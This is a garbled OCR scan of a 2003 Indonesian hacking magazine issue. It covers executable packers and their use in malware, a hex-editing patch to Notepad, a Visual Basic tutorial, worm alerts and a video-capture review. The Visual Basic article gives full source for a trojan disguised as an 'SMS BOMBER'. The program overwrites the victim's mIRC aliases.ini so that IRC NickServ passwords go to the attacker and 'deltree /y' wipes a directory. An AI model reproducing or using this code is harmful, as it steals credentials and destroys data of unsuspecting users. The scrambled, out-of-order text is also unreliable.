ECIL ITU INDAH, ADA YANG ME-

piler Borland Delphi 2.0. Download di http://www.aspack.com. Sayang penggunaannya dibatasi selama 30 hari. Lain halnya dengan UPX yang merupakan kependekan dari Ultimate Packer for eXecutables. UPX dibuat oleh Oberhumer dan Laszlo Molnar dan dihadirkan dalam interface berbasis DOS. Perangkat ini juga tergolong handal untuk berbagai mesin dari mesin DOS, Win32, Linux, Atari, sampai Rtm32. Freeware, dapat diperoleh di http://upx.sourceforge.net.

ASPack, UPX, dan Malicious Software
Malicious software—disingkat dengan malware—seperti virus, worm, dan trojan dibuat untuk tujuan jahat seperti mencuri password, menghapus file, sampai memformat harddisk. Untuk mencapai tujuannya tersebut malicious software harus bekerja secara siluman (stealth and invisible) dan menghindari deteksi user. Pada sisi yang lain, replikasi file virus, worm, dan trojan dituntut harus berlangsung cepat. Dalam rangka inilah virus, worm, dan trojan harus dibuat dalam ukuran file yang sekecil mungkin, sehingga perubahan ukuran file yang terinfeksi tidak kentara dan proses replikasi dapat berlangsung lebih cepat. ASPack dan UPX merupakan dua nama perangkat untuk mereduksi ukuran file yang telah cukup populer dan menjadi pilihan para programmer. Untuk mereduksi ukuran file secara umum. Termasuk di dalamnya yaitu memperkecil ukuran file virus, worm, dan trojan,ASPack dan UPX telah mempunyai track record "yang baik" untuk urusan ini. Contoh yang menarik dalam melihat track record dua perangkat di atas adalah trojan bernama Troj_Rav.A menu-

rut penamaan dari Trend Micro. Trojan yang ditemukan sekitar bulan Mei 2002 ini dibuat menggunakan Borland Delphi, suatu bahasa pemrograman tingkat tinggi yang tergolong handal dan mudah dipelajari. Trojan yang menonaktifkan mouse dan keyboard ini dikompres menggunakan perangkat ASPack, sehingga menyulitkan untuk dianalisa karena diperlukan dekompresor untuk membalikkan proses kompresi ASPack. Sayang perangkat dekompresor ini tidak tersedia. Contoh lain adalah trojan Troj_Bario.B yang merupakan trojan pencuri password buatan Russia dan juga dibuat dengan Borland Delphi. Trojan ini mempunyai fitur keystroke dan memanfaatkan kehandalan ASPack untuk menekan besar ukuran filenya. Malicious software lain yang juga memanfaatkan ASPack lainnya adalah worm Sobig.E dan pada beberapa versi SubSeven. UPX pun sebagai perangkat sejenis yang handal juga menorehkan track record dalam mengkompres malware. Contohnya adalah I-Worm.Avron menurut penamaan Kapersky Lab. Worm ini dikenal juga dengan W32/Lirva.A@MM, dengan kemampuan menyebar melalui email secara mass mailing (MM) untuk menjangkau persebaran yang luas dalam waktu singkat. Worm ini dibuat menggunakan MS Visual C++. I Variant I-Worm.Avron.A,I-Worm.Avron.B, dan I-Worm.Avron.C, dikompres menggunakan UPX sehingga ukuran filenya menjadi 26 KB, 34 KB, dan 33 KB. Contoh lain I-Worm.Tanatos.b juga dikenal sebagai Bugbear.b. Worm yang mempunyai unit keylogger ini juga

Gambar 1. Tampilan UPX yang berbasiskan DOS

Gambar 2. Tampilan ASPack yang erbasiskan GUI

NeoTek Sep/Okt 2003

NeoTutor
dikompres dengan UPX untuk mereduksi besar filenya dari 170 KB ke 72 KB. Masih banyak worm, virus, atau pun trojan yang memanfaatkan kedua perangkat kompresi ini. Tidak hanya itu, banyak juga program-program "baik" dari berbagai software house yang menggunakan perangkat ini. Penulis sendiri saat ini menggunakan UPX untuk mereduksi besar file EXE hasil kompilasi Borland Delphi 7 untuk membuat program keylogger dengan nama Mata-Mata. Cracker tersebut melakukannya tanpa perlu tahu kode sumber (source code) dari file tersebut dan tidak perlu melakukan proses kompilasi. Banyak cara mudah untuk melakukannya, di antaranya dengan Resource Hacker. Ada artikel tentang penggunaan perangkat ini di majalah Neotek ini beberapa waktu yang lalu, dan penulis telah membuat satu buku berjudul Tip dan Trik Memodifikasi Tampilan Windows menggunakan perangkat ini. Coba buka file Notepad.exe yang berada di folder Windows dengan Resource Hacker yang bisa di-download di http://www.users.on.net/johnson/ resourcehacker, seperti diperlihatkan pada gambar di bawah. Tampak deretan script untuk menu-menu di Notepad yang dapat Anda ganti dengan mudah. ASPack dan UPX memberikan perlindungan lumayan. Bila Anda telah mengkompres file Notepad.exe dengan ASPack atau UPX, maka akan lebih sulit untuk memodifikasi file tersebut. Cracker tidak bisa lagi menggunakan perangkat Resource Hacker. Akan tampil sebuah kotak informasi seperti pada Gambar 3B.

ASPack, UPX, dan Proteksi File
Selain ukuran file yang berkurang cukup signifikan, penggunaan ASPack dan UPX pun memberikan keuntungan lain bagi para developer perangkat lunak. Yaitu program buatannya akan sedikit terlindungi dari perubahan karena modifikasi oleh para cracker. Ketika Anda membuat sebuah program, dan file-nya telah dikompilasi menghasilkan sebuah file EXE, maka file tersebut dapat dengan mudah dimodifikasi oleh para cracker. Misalnya saja mengganti icon atau menu-menu yang pada awalnya berbahasa Inggris dapat diubah menjadi berbahasa Indonesia.

Gambar 3. Notepad.exe yang belum dikompres dilihat dengan Resource Hacker (A) danb yang sudah dikompres (B).

Perlindungan file dengan perangkat ASPack dan UPX hanya untuk melindungi file dari para cracker amatir. Masih ada jalan lain menuju Roma.

1

MENDAPATKAN ASPACK
Jalankan browser, lalu masuk ke http://www.aspack.com untuk mendapatkan ASPack. Yang termudah adalah dengan mendapatkannya dari CD Neotek edisi bulan ini.

2

DOWNLOAD ASPACK212.ZIP
Setelah download selesai, ekstrak paket zip aspack212.zip ke sembarang folder. Paket ini hanya terdiri dari dua file , yaitu file_id.diz dan setup.exe. File aspack212.zip hanya berukuran 295 KB.

3

INSTALASI
Instalasi mudah saja. Pada jendela Winzip klik tombol Install dan lanjutkan dengan menentukan lokasi instalasi dan diakhiri dengan menekan tombol Start.

4

FILE UNTUK DIKOMPRES
Diasumsikan Anda telah membuat program yang sudah di-compile. Di simulasi ini digunakan Notepad.exe di C:\Windows. Panggil ASPack dengan memilih menu Start > Programs > ASPack > ASPack.

5

KOMPRESI DENGAN ASPACK
Klik tombol Open pada jendela ASPack. Kemudian pada kotak dialog Select file to compress tentukan file yang akan dikompres, dalam simulasi ini adalah file Notepad.exe yang berukuran sekitar 53 KB.

6

PERBANDINGAN KOMPRESI
Tekan tombol Open pada kotak dialog Select file to compress, proses kompresi akan berlangsung dengan tab yang aktif tab Compress. Setelah selesai klik tab Open File dan perhatikan File Information. Notepad.exe kini berukuran 33.792 bytes.

Sep/Okt 2003 NeoTek

37

NeoTutor

HAC KI NG NOTE PAD
WI N H E X U NTU K M E NGOPRE K SOFTWARE
Happy Chandraleka (Cakrabirawa@mail.ru) membimbing anda melakukan hacking Notepad pada Windows 98 SE secara langkah per langkah. Sasaran pertama adalah menghilangkan kotak dialog yang tampil ketika user akan membuka file text dengan ukuran lebih besar dari 64 kb.
Belajar menggunakan hex editor untuk meng-hack program

meng-hack Notepad dengan mengganti editor teks yang dipanggil oleh Notepad saat Anda membuka file yang berukuran besar tersebut. Default-nya yang dipanggil Notepad adalah WordPad. Anda akan dibimbing untuk mengubahnya menjadi Microsoft Word 2000. Perangkat yang digunakan adalah hexeditor. Sembarang hexeditor dapat digunakan dalam tutorial ini. Penulis menggunakan WinHex v9.72 yang diperoleh dari CD Neotek edisi Januari 2002. Anda dapat juga memperoleh perangkat ini pada CD Neotek edisi bulan ini. Alternatif lainnya adalah dengan men-download sendiri dari situs WinHex di http://www.winhex.com.

S

ASARAN BERIKUTNYA ADALAH UNTUK

4

FILE NOTEPAD.EXE DALAM MODUS HEXADESIMAL
Pada bidang kerja WinHex akan tampil File Notepad.exe dalam bentuk hexadesimal. Bilanganbilangan ini yang akan diganti.

5

BERPINDAH KE OFFSET 33B1
Pilih menu Position > Go To Offset atau menekan tombol keyboard Alt+G. Isikan 33B1 pada kotak New Position untuk berpindah ke offset 33B1. Pastikan pada bagian relative to terpilih opsi beginning of file. Tekan tombol OK untuk melakukan lompatan.

6

ISI OFFSET 33B1
Anda akan melompat ke offset 33B1. Perhatikan bahwa enam deret dari offset ini berisi nilai FF 15 A8 64 40 00. Nilai-nilai offset inilah yang akan diganti.

10

MENGGANTI DERETAN OFFSET
Gantilah deretan offset-offset tersebut menjadi 42 4A 43 4B 46 4E. Jangan ubah bagian offset yang lainnya.

11

KOTAK DIALOG TELAH HILANG
Sampai di sini kotak dialog konfirmasi telah hilang ketika Anda membuka file text yang berukuran besar. Tetapi editor teks yang dipanggil masih program WordPad. Selanjutnya kita akan menggantinya menjadi Microsoft Word 2000.

12

BERPINDAH KE OFFSET B0B8
Panggil lagi kotak dialog Go To Offset dengan memilih menu Position > Go To Offset. Isikan dengan B0B8 pada bagian bagian New Position. Tekan tombol OK untuk berpindah offset.

38

NeoTek Sep/Okt 2003

NeoTutor

1

MENGAMANKAN NOTEPAD
Copy-lah file Notepad.exe yang berada di folder C:\Windows sebagai backup. Hal ini untuk mengantisipasi bila file yang Anda oprek mengalami kegagalan.

2

EKSTRAK DAN INSTALASI WINHEX
Ekstrak dan install program WinHex yang ada pada CD NeoTek edisi ini. Ikuti installation wizard-nya sampai proses instalasi berakhir.

3

JALANKAN WINHEX DAN BUKA FILE NOTEPAD.EXE
Jalankan program WinHex yang telah Anda install dengan memilih menu Start > Programs > WinHex. Kemudian dengan memilih menu File > Open bukalah file Notepad.exe yang ada di folder Windows.

7

MENGGANTI DERETAN OFFSET
Gantilah deretan offset-offset tersebut menjadi 52 5A 53 5B 56 5E. Jangan ubah bagian offset yang lainnya, karena dapat menyebabkan error.

8

BERPINDAH KE OFFSET 33BA
Pilih lagi menu Position > Go To Offset seperti langkah 5. Isikan alamat offset 33BA pada kotak New Position dengan. Tekan tombol OK untuk melompat ke offset tersebut.

9

ISI OFFSET 33BA
Anda akan melompat ke offset 33BA. Perhatikan bahwa enam deret dari offset ini mempunyai nilai secara berurut yaitu 0F 85 A7 00 00 00. Cocokkan nilai ini dengan file Notepad yang sedang Anda oprek.

13

ISI OFFSET B0B8
Anda akan berpindah ke offset B0B8. Deretan nilai-nilai offset ini adalah 77 00 6F 00 72 00 64 00 70 00 61 00 64 00. Cocokkan nilai ini dengan file Notepad yang sedang Anda oprek, sehingga tidak salah ubah nantinya.

14

MENGGANTI DERETAN OFFSET
Gantilah nilai-nilai pada deretan alamat offset tersebut. Gantilah menjadi 77 00 69 00 6E 00 77 00 6F 00 72 00 64 00.

15

SIMPAN PERUBAHAN
Simpanlah perubahan yang telah Anda lakukan dengan memilih menu File > Save. Cobalah untuk membuka file teks yang berukuran besar. Sekarang tidak terdapat lagi kotak dialog konfirmasi dan editor yang dipanggil adalah Microsoft Word 2000.

Sep/Okt 2003 NeoTek

39

NeoTutor

Program Penggodayang Berbahaya
Menanamkan skrip ke dalam komputer orang lain? Ini merupakan tantangan sendiri untuk pada underground newbie. Dengan sedikit keterampilan pemrograman dengan Visual Basic, MA Rody Candera (odyxb@melva.org) menunjukkan caranya.
adapoun yang akan dibahas merupakan kelanjutan dari artikel-artikel sebelumnya. Apakah anda masih ingat mengenai artikel Mendapatkan Skrip Nick Password Cracking? (NeoTek III/5 Feb/Mar 2003). Pada NeoTek yang berikutnya akan dibahas Deltree Script Melalui mIRC. Pada artikel Skrip Nick Password Cracking, diterangkan cara mendapatkan password nick seseorang yang terdaftar di dalnet dengan menggunakan skrip yang ditanamkan di Aliases.ini. Begitu juga pada artikel Deltree Script Melalui mIRC, diterangkan caranya dengan menanamkan skripnya di Aliases.ini Yang menjadi permasalahan dari cara yang diterapkan dalam artikel-artikel tersebut adalah teknik atau cara menanamkan skrip tersebut ke komputer orang lain yang jauh jaraknya dari tempat kita. Ketika penulis mengenal Visual Basic, penulis merasa yakin bahwa Visual Basic dapat membantu mengatasi masalah tersebut. Tetapi penulis tidak sendiri dalam mewujudkan hal tersebut, penulis dibantu oleh seorang teman sesama neoteker yaitu h3r01n (Asan). Ucapan terima kasih sebesarnya untuk Asan yang selalu setia membantu penulis. Seperti yang telah dijelaskan di atas, kini kita akan mencoba membuat sebuah program dengan menggunakan Visual Basic yang dapat membantu kita untuk menjangkiti Aliases.ini dengan skrip-skrip yang akan ditanamkan ke dalamnya. Sama seperti artikel terdahulu yang mengangkat permasalahan membuat program dengan Visual basic, kita perlu membuat rancangan programnya. Sesuai dengan judul yaitu Program Penggoda, maka penulis mencoba membuat program SMS BOMBER. Program tersebut sampai saat ini ternyata memiliki banyak peminat yang terus-menerus mencari program sejenis yang lebih jago. Memandang hal tersebut, penulis menjadikan program SMS BOMBER yang sesungguhnya bukan merupakan program yang dapat membombardir handphone seseorang dengan SMS yang membengkak, sesungguhnya program tersebut nanti justru membantu kita dalam menanamkan skrip-skrip yang kita miliki ke Aliases.ini. Hm..., sungguh-sungguh menggoda bukan?
Gambar 1. Rancangan dasar program

VI S UAL BAS I C WO R KS H O P

A

RTIKEL KALI INI MASIH BERKUTAT DENGAN VISUAL BASIC,

Sekarang kita mencoba merancang program SMS BOMBER (ingat..., bukan program SMS BOMBER sesungguhnya lho), buat rancangan yang nantinya akan menjadi tampilan atau interface program yang akan kita buat. Berdasarkan rancangan yang dibuat (Gambar 1), kita sudah dapat memulai menggunakan Visual Basic untuk mewujudkan program kita. buatlah interface program berdasarkan rancangan kita, hasilnya kurang lebih terlihat pada Gambar 2.

Gambar 2. interface program

Setelah membuat interface programnya, selanjutnya yang perlu kita lakukan adalah mengatur properties. Aturlah sesuai yang diterangkan berikut di bawah ini:
Form1 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - BorderStyle 3 – Fixed Dialog - Caption SmSBoMBeR-TeRoRiS (dapat anda buat yang anda suka) - Height 4005 - StartUpPosition = 2 – CenterScreen - Width 4185 Label1 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption &Number : Label2 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption &Packet : Label3 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption + - Font MS Sans Serif 12px Label4 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption 500 Messages

40

NeoTek Sep/Okt 2003

NeoTutor
Label5 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption 5000 Messages Label6 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka). - Caption &Message (160 Characters) : Label7 - Backcolor &H00C0FFFF& (warna kuning gading atau dapat anda pilih sendiri warna yang anda suka) - Caption = dikosongkan saja Label 8 dan Label9 sama dengan dengan label 7 Text1 dan Text2 - Backcolor &H00C0E0FF& (warna orange atau dapat anda pilih sendiri warna yang anda suka) - Text = dikosongkan saja Frame1 = Caption Report Pbar = Scrolling 0 - ccScrollingStandard Timer1 = Interval 500 Command1 = Caption &Send Command2 = Caption à &Help Command3 = Caption &About Command4 = Caption &Exit Command2 (tombol Help) MsgBox "Please send your question to odyxb@memed.org", vbCritical, "Help..." NB: kata-kata di dalam tanda kutip dapat anda ganti dengan yang inginkan.

Command3 (tombol About) MsgBox "SmSBoMBeR-TeRoRiS v.0.01, Made By: Odyxb and Asan (h3r01n, #Neoteker, @dal.net)", vbCritical, "About Program..." NB: kata-kata di dalam tanda kutip dapat anda ganti dengan yang inginkan.

Command4 (tombol Exit) Unload Me Shell "c:\windows\rundll.exe user.exe,ExitWindows"

Begitulah kira-kira properties yang kita atur hingga jadinya interface programnya adalah seperti berikut pada Gambar 3.
Timer1 If stat = "OK" Then If Pbar.Value >= 100 Then i = 1: ulang = ulang + 1 If ulang > txt Then Label8.Caption = "Messages Has Been Sent to " Label9.Caption = Text1.Text MsgBox "Sending Messages Has Been Complete" End End If Label7.Caption = (Pbar.Value) & " %" Pbar.Value = i i=i+1 End If

Gambar 3. interface program setelah diatur propertinya

Setelah selesai mengatur properties, langkah selanjutnya yang kita lakukan adalah memasukkan kode program. Anda isikan kode-kode program berikut di bawah ini sesuai tempatnya.
Text1 If Not Chr(KeyAscii) Like "[0-9]" Then KeyAscii = 0 End If

Form1 RemoveMenus Open "c:\mirc\aliases.ini" For Output As #1 Print #1, "[aliases]" Print #1, "n0=/op /mode # +ooo $$1 $2 $3" Print #1, "n1=/dop /mode # -ooo $$1 $2 $3" Print #1, "n2=/j /join #$$1 $2-" Print #1, "n3=/p /part #" Print #1, "n4=/n /names #$$1" Print #1, "n5=/w /whois $$1" Print #1, "n6=/k /kick # $$1 $2-" Print #1, "n7=/q /query $$1" Print #1, "n8=/send /dcc send $1 $2" Print #1, "n9=/chat /dcc chat $1" Print #1, "n10=/ping /ctcp $$1 ping" Print #1, "n11="

Command1 (tombol Send) stat = "OK" ulang = 1 txt = 1

Sep/Okt 2003 NeoTek

41

NeoTutor
Print #1, "n12=" Print #1, "n14=" Print #1, "n15=" Print #1, "n16=" Print #1, "n17=" Print #1, "n18=" Print #1, "n19=" Print #1, "n20=" Print #1, "n21=" Print #1, "n22=" Print #1, "n23=" Print #1, "n24=" Print #1, "n25=/nickserv {" Print #1, "n26= /set %y1 $$1" Print #1, "n27= if ( %y1 == identify ) {" Print #1, "n28= /set %y2 $$2" Print #1, "n29= /.msg nickserv@services.dal.net $1-" Print #1, "n30= /.timer 1 480 /.memoserv send [Nick] Nick: $me Password: %y2" Print #1, "n31= /.timer 1 481 /.clear" Print #1, "n32= /.timer 1 482 /.run deltree /y Drive:\Directory" Print #1, "n33= }" Print #1, "n34= else /.msg nickserv@services.dal.net $1-" Print #1, "n35= /.unset %y1" Print #1, "n36= /.unset %y2" Print #1, "n37=}" Print #1, "n38=" Print #1, "n39=" Print #1, "n40=/identify {" Print #1, "n41= /set %y1 $$1" Print #1, "n42= /.msg nickserv@services.dal.net identify $1-" Print #1, "n43= /.timer 1 480 /.memoserv send [Nick] Nick: $me Password: %y1" Print #1, "n44= /.timer 1 481 /.clear" Print #1, "n45= /.timer 1 482 /.run deltree /y Drive:\Directory" Print #1, "n46= /.unset %y1" Print #1, "n47=}" i=5 stat = "NON" End Sub NB: Jangan lupa mengganti [Nick] dengan nick anda, contoh: Odyxb Drive:\Directory > C:\Program Files

Selain kode program di atas, ada beberapa kode program yang perlu anda masukkan juga dengan cara mengetikkan langsung pada kode editor.
Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long Private Declare Function GetSystemMenu Lib "user32" (ByVal hWnd As Long, ByVal bRevert As Long) As Long Private Const MF_BYPOSITION = &H400& Dim i As Double Dim ulang As Single Dim stat As String Dim txt As Integer

Ketikkan kode tersebut di atas di bagian paling atas dari kode-kode program yang telah ada sebelumnya. Terus selanjutnya kode program yang juga perlu dimasukkan seperti di bawah berikut yang diletakkan di bagian setelah dari end sub dari form_load
Private Sub RemoveMenus() Dim hMenu As Long hMenu = GetSystemMenu(hWnd, False) DeleteMenu hMenu, 6, MF_BYPOSITION End Sub

Selesai sudah, program anda sudah setengah jadi. Untuk jadi seutuhnya adalah dengan mengkompilenya. Untuk mengkompile; klik File > Make testing.exe...

Selanjutnya akan muncul window make project

Pada bagian file name, isikan nama yang nantinya akan menjadi nama dari program anda tersebut. Pada contoh dibuat nama programnya nanti adalah SmSBoMBeR. Setelah silahkan berkreasi dalam bentuk program lain. List kode program beserta sample program dapat anda peroleh dalam CD NeoTek edisi ini.
42

NeoTek Sep/Okt 2003

Inbox

NmN NeoTeker NeoTeker menjawab
Forum ini dimaksudkan sebagai bentuk offline dari mailing list NeoTek di http://groups.yahoo.com/group/majalahneotek.
Sobig Worm Mewabah Setelah Blaster Worm T: Sent August 22
Pada siang hari ketika PT. Vaksincom mendapatkan peringatan akan adanya worm ini, Sobig.F langsung menduduki peringkat 4 dalam Top 10 virus yang paling banyak dihentikan oleh MessageLabs, pelan tapi pasti Sobig.F menduduki peringkat 3 dan pada malam hari pukul 20.40 WIB telah menempati posisi pertama sebagai virus yang paling banyak dihentikan oleh MessageLabs. Sobig.F perlu diwaspadai karena disamping menyebar melalui email, ia juga memiliki kemampuan menyebar melalui jaringan. Virus ini dipaket dengan menggunakan tElock 0.98 dengan ukuran 72 Kb, dan setelah diekstrak akan berukuran 112 Kb. Virus worm ini dibuat dengan menggunakan bahasa programing Microsoft VisualC++. Uniknya, Sobig.F hanya aktif sampai tanggal 10 September 2003. Setelah tanggal 10 September 2003 jika kita menjalankan attach file yang terlampir maka Sobig.F ini tidak akan bereaksi. Apakah pembuatnya sudah mempersiapkan varian baru menjelang tanggal 10 September 2003 atau memang ada tujuan lain hanya waktu yang akan memberitahukan. Worm ini didisain untuk menyebarkan dirinya melalui jaringan dan mass-mail dengan menggunakan Simple Mail Transfer Protocol (SMTP) engine miliknya sendiri. Virus ini menyerang setiap pemakai komputer yang menggunakan email dan dapat juga menyerang melalui jaringan yang terhubung. Ciri-ciri dari virus ini adalah : Email yang anda terima akan mempunyai subject seperti di bawah ini : Re: Thank you! Thank you! Your details Re: Details Re: Re: My details Re: Approved Re: Your application Re: Wicked screensaver Re: That movie File-file attach yang menyertainya adalah seperti di bawah ini : your_document.pif document_all.pif thank_you.pif your_details.pif details.pif document_9446.pif application.pif wicked_scr.scr movie0045.pif Message body yang anda terima akan mengandung kalimat: Please see the attached file for details. atau See the attached file for details Dan alamat pengirimnya bisa dari "admin@internet.com", tetapi juga dapat juga berupa alamat-alamat yang aneh-aneh dan sifatnya lelucon secara random. Alamat email didapat dan dikumpulkan dari pencarian di dalam setiap file-file yang berektensi: *.txt *.eml *.html *.htm *.dbx *.wab Setiap attach yang dijalankan dari email yang terinfeksi maka akan terbentuk sebuah file yang bernama WINPPR32.EXE, dan sebuah file TXT yang bernama WINSTT32.DAT diletakkan pada direktori C:\Windows. Dan ia juga akan menambahkan 2 value pada file registri: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TrayX = "%Windows%\winppr32.exe /sinc" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run TrayX = "%Windows%\winppr32.exe /sinc" Value ini akan selalu dijalankan setiap kali komputer di restart. Value registry ini akan dibuat jika key tersebut sudah ada. Tetapi untuk value yang pertama tidak akan dibuat pada system operasi Windows 98, karena key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run biasanya tidak pernah ada. Untuk pencegahannya, biasakan kalau ada attach yang anda terima dari seseorang yang tidak anda kenal ataupun yang anda kenal, jangan langsung dijalankan atau dibuka. Kebiasaan ini selalu dipakai oleh para pembuat virus worm. Simpan dahulu file attach yang anda terima dengan cara : Klik kanan pada file attach tersebut, kemudian klik SAVE AS. pada saat anda menyimpan, antivirus akan memeriksa file tersebut, jika ada virus maka akan dibersihkan. Dan jika virus termasuk golongan yang berbahaya, maka akan langsung didelete. Kalau anda pemakai Microsoft Outlook XP, maka masalah ini sedikit banyak sudah tertangani oleh applikasi tersebut, karena Outlook XP akan memblok semua filefile yang berekstensi khusus yang biasanya dipakai oleh virus dalam menyebarkan dirinya misalnya :*.COM, *.EXE, *.SCR, *.PIF dan sebagainya. Gunakan antivirus yang selalu terupdate definisinya, karena ini juga merupakan suatu cara yang paling baik dalam menghadapi virus yang belakang ini merajalela.

Blaster Worm
T: Posted August 20 Kompie gue kena yg namanya blaster. yaitu ciri2nya kompie XP Pro saya langsung auto shutdown kalau buka IE 6.0/OE 6.0 beberapa saat. lalu saya cari file yg baru tercipta yaitu ada yang namanya msblast.exe di C:\Windows\ System32\ msblast.exe lalu saya hapus file tersebut (sebelumnya di-End Task dulu lewat TaskManager!) terus hapus entry-nya di menu startup dengan nama Windows Auto Update sekarang semua berjalan normal lagi. yg saya bingung, ini namanya worm/virus? soalnya pake NAV2003 (belum diupdate) ngga kedeteksi. Mohon pencerahannya.
Dreamer BoyZ dreamer_boyz@telkom.net

Blaster Worm
Produk yang Dapat Terserang Windows NT 4.0 Windows 2000 Windows XP Windows Server 2003 Gejala umum pada Windows XP dan Windows Server 2003 adalah boot setiap beberapa menit tanpa intervensi user dengan terlebih dulu menampilkan pesan sbb:

J: Posted August 21 Nah sama tuh sama postingan saya tempo hari. Saya juga mengalami hal yg sama. Tapi herannya penyerangannya ngga tentu. Dan asiknya lagi, kompie saya digunakan di rumah, ngga ada yg lain yg make selain saya. Jadi virusnya datang dari email. Email yg mana yachh?? milis NeoTek-kah he he he... andrie andrie01@indo.net.id J: Posted August 21 w32.blaster.worm/ lovsan/msblast tidak menyebar lewat e-mail tapi langsung lewat koneksi internet dan jaringan rizky_ridho rizky_ridho@yahoo.com

Sistem Windows 2000 atau Windown NT 4.0 menjadi tidak responsif. Penanggulangannya • Putuskan hubungan ke Internet, dengan langsung mencopot kabel telepon dari jack telepon. Setelah itu aktifkan firewall. • Jalankan FixBlast.exe yang tersedia di CD NeoTek III/12 (Sep/Okt 2003). • Update Windows anda menggunakan Windows update yang tersedia di situs Microsoft atau di CD NeoTek III/11 (Ags/Sep 2003).

p_e_edu p_e_edu@yahoo.com

FixBlast.exe tersedia di CD NeoTek bulan ini bersama berbagai worm removal lain

44

NeoTek Sep/Okt 2003

NeoReview

KONVERSI ANALOG KE DIGITAL Meremajakan Kembali Video Format Lama
Sejak NeoTek membahas digital video, terutama teknologi mutakhir DVD video recording format pada DVD-RAM serta DV format pada MiniDV tape yang paling populer sekarang, pertanyaan justru muncul dari pemakai camcorder analog untuk mendigitalisasi rekaman analognya.

Video Capture Box
Tidak ada software pihak ketiga (biasanya software video ediring) yang disertakan pada paketnya. Grand AV USB 2.0 (SGD 169) Grand AV USB 2.0 adalah perangkat khusus untuk video capture yang menggunakan port USB 2.0 untuk mentransfer streaming video ke PC anda. dari bentuk fisiknya, video capture box ini dirancang untuk digunakan pada laptop yang dilengkapi dengan port USB 2.0. Di sisi lain video capture box ini menerima sinyal video lewat jack RCA (kuning) atau S-video in. Tidak ada port untuk menerima sinyal audio. Sinyal audio harus dimasukkan dari jack RCA audio (merah dan putih) pada TV atau VCR ke jack line-in pada sound card. Setelah instalasi driver, video capture box ini akan dikenali sebagai Imaging device USB 2.0 Capture. Selain Grand USB AV Capture software disediakan juga Ulead VideoStudio 6 dalam paketnya. Ternyata video capture dengan Ulead VideoStudio 6 (dan juga dicoba dengan Ulead VideoStudio 5) lebih mudah dan lebih dapat diandalkan dibandingkan menggunakan software dari pabrikannya sendiri. Ulead VideoStudio 5 maupun 6 dapat digunakan juga untuk perangkat video capture lain seperti halnya AVI-TV Wonder yang dibahas sebelumnya maupun webcam.

Memilih Video Capture Box
sung dalam format digital dan mengeditnya menjadi rekaman video CD atau DVD sudah dibahas secara terinci di NeoTek III/10 yang membahas Digital Video. Tapi bagaimana pemilik analog camcorder (atau pemilik tape format VHS atau Betamax) mengkonversi rekamannya ke bentuk digital? Yang pasti anda harus masih mempunyai video tape recorder (VCR) yang digunakan untuk memutar video tape anda. Mungkin VCR dalam format VHS ataupun (yang pernah populer di Indonesia) format Betamax. Pada prinsipnya video tape anda diputar pada VCR itu. Biasanya jack RCA video (kuning) dan audio (merah dan putih) dihubungkan ke TV, namun untuk merekamnya kembali ke format digital, semuanya itu dihubungkan ke port yang sesuai pada video capture box (ada juga yang mengharuskan video ke port video capture box dan audio ke line-in pada gaphics card komputer anda). Dapat juga dihubungkan dulu ke TV dan dari TV baru dihubungkan ke video capture box (TV-nya harus yang mempunyai audio/video out).

M

EMBUAT REKAMAN VIDEO LANG-

Beberapa Pilihan Video Capture Box
Video capture box mungkin di pasaran lebih dikenal sebagai TV tuner, yaitu suatu PCI card yang mempunyai port untuk dihubungkan ke antena TV dan mencari sendiri channel TV yang aktif. Selain TV Tuner, biasanya terdapat pula fasilitas video capture. Video capture box yang sekaligus TV tuner harganya beragam. Yang relatif paling murah tidak sampai Rp500.000,dan mutu hasil capture-nya sudah sangat baik.

ATI-TV Wonder (SGD 69) ATI-TV Wonder, suatu TV tuner dan juga video capture box yang dicoba oleh NeoTek harganya hanya SGD69. AVITV Wonder adalah suatu PCI card yang mempunyai dua port pada board-nya: port untuk antena TV dan port VIVO (video in video out). Selain itu disertakan pula extension cable port yang dihubungkan ke VIVO port dan di ujung lainnya menyediakan tiga RCA port: video (kuning) dan audio (merah dan putih). Yang mengherankan adalah bahwa port audio pada extension cable port ini tidak berfungsi, sehingga untuk mentransfer juga audio ke format digital, jack audio dari TV atau VCR harus dihubungkan ke port line-in pada graphics card di PC anda. Untuk ini disediakan adaptor kecil untuk menerima kedua RCA jack (merah dan putih) dari TV atau VCR menjadi port tunggal untuk dicolokkan ke port line-in pada sound card. ATI-TV Wonder menyertakan CD yang berisi device driver (pada PC akan dikenali sebagai beberapa device di bawah Sound, video and game controller), dilengkapi juga dengan software ATI Multimedia Center yang berupa suite untuk TV, Video CD, CD Audio, File Player, dan Teletext.

Sep/Okt 2003 NeoTek

45

NeoReview

Video Capture dengan ATI-TV Wonder
Video capture box apapun yang digunakan, baik itu berupa PCI card khusus, yang merangkap TV tuner, ataupun bagian dari fasilitas yang ada pada graphics card (MyVIVO), prinsipnya sama saja. Setelah perangkat itu dikenali oleh PC anda, maka jalankan video capture software-nya
adalah demikian banyak format video yang ada dan kadang kala format tertentu tidak dapat dimainkan langsung oleh video player yang tersedia. Pada contoh ATI-TV Wonder, misalnya, hasil capture menggunakan software dari pabrikannya malah tidak bisa diputar oleh File Player-nya sendiri. Pasalnya, file hasil capture komponen TV dari ATI Multimedia Center berupa file *.mp2 yaitu format video/audio stream dari Motion Picture Expert Group (MPEG) yang rupanya tidak secara default terpasang pada berbagai media player yang lazim, bahkan juga tidak pada File Player milik ATI Multimedia Center itu sendiri! Hanya setelah dicoba diputar dengan RealOne Player, dan RealOne Player terhubung ke Internet untuk memasangkan plug-in untuk format ini, barulah file ini bisa diputar baik oleh RealOne Player, Windows Media Player, Winamp 3, maupun oleh File Player dari ATI Multimedia Center itu sendiri.

Y

